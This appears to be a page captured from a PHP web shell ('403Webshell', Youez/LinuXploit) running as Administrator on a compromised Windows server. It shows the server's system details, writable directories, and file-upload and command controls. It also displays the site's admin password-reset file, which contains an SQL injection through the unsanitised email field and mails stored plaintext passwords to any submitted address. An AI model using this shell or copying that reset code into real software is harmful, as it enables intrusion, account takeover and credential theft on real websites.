403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkdlmj/bpkdlmj_/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkdlmj/bpkdlmj_/admin/forget.php
<form method="POST" action=<?php $_SERVER['PHP_SELF']; ?>>
<table>
<tr><td>Lupa Password ?</td></tr>
<tr><td>Email Anda : <input name="email" type="text"> 
<input type="submit" name="proses" value="Proses"></td></tr>
</table>
</form>

<?php
include "config/koneksi.php";
if($_POST[proses]){

  $sql    = "SELECT password1 FROM users WHERE email='$_POST[email]'";
  $hasil  = mysql_query($sql);
  $jumlah = mysql_num_rows($hasil);

  if ($jumlah==1){
    $data=mysql_fetch_array($hasil);
    $kepada = "$_POST[email]"; //alamat email user
    $judul = "Password Anda";
    $dari = "From: email@namadomain.com \r\n"; 
    $dari .= "Content-type: text/html \r\n";
    $pesan = "Password Anda untuk login ke website kami <br>";
    $pesan .= "Password Anda : <b>$data[password1]</b>";

    mail($kepada,$judul,$pesan,$dari);
    echo "Password telah terkirim ke email Anda";
  }
else{
    echo "Password tidak bisa dikirimkan ke email Anda";
  }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit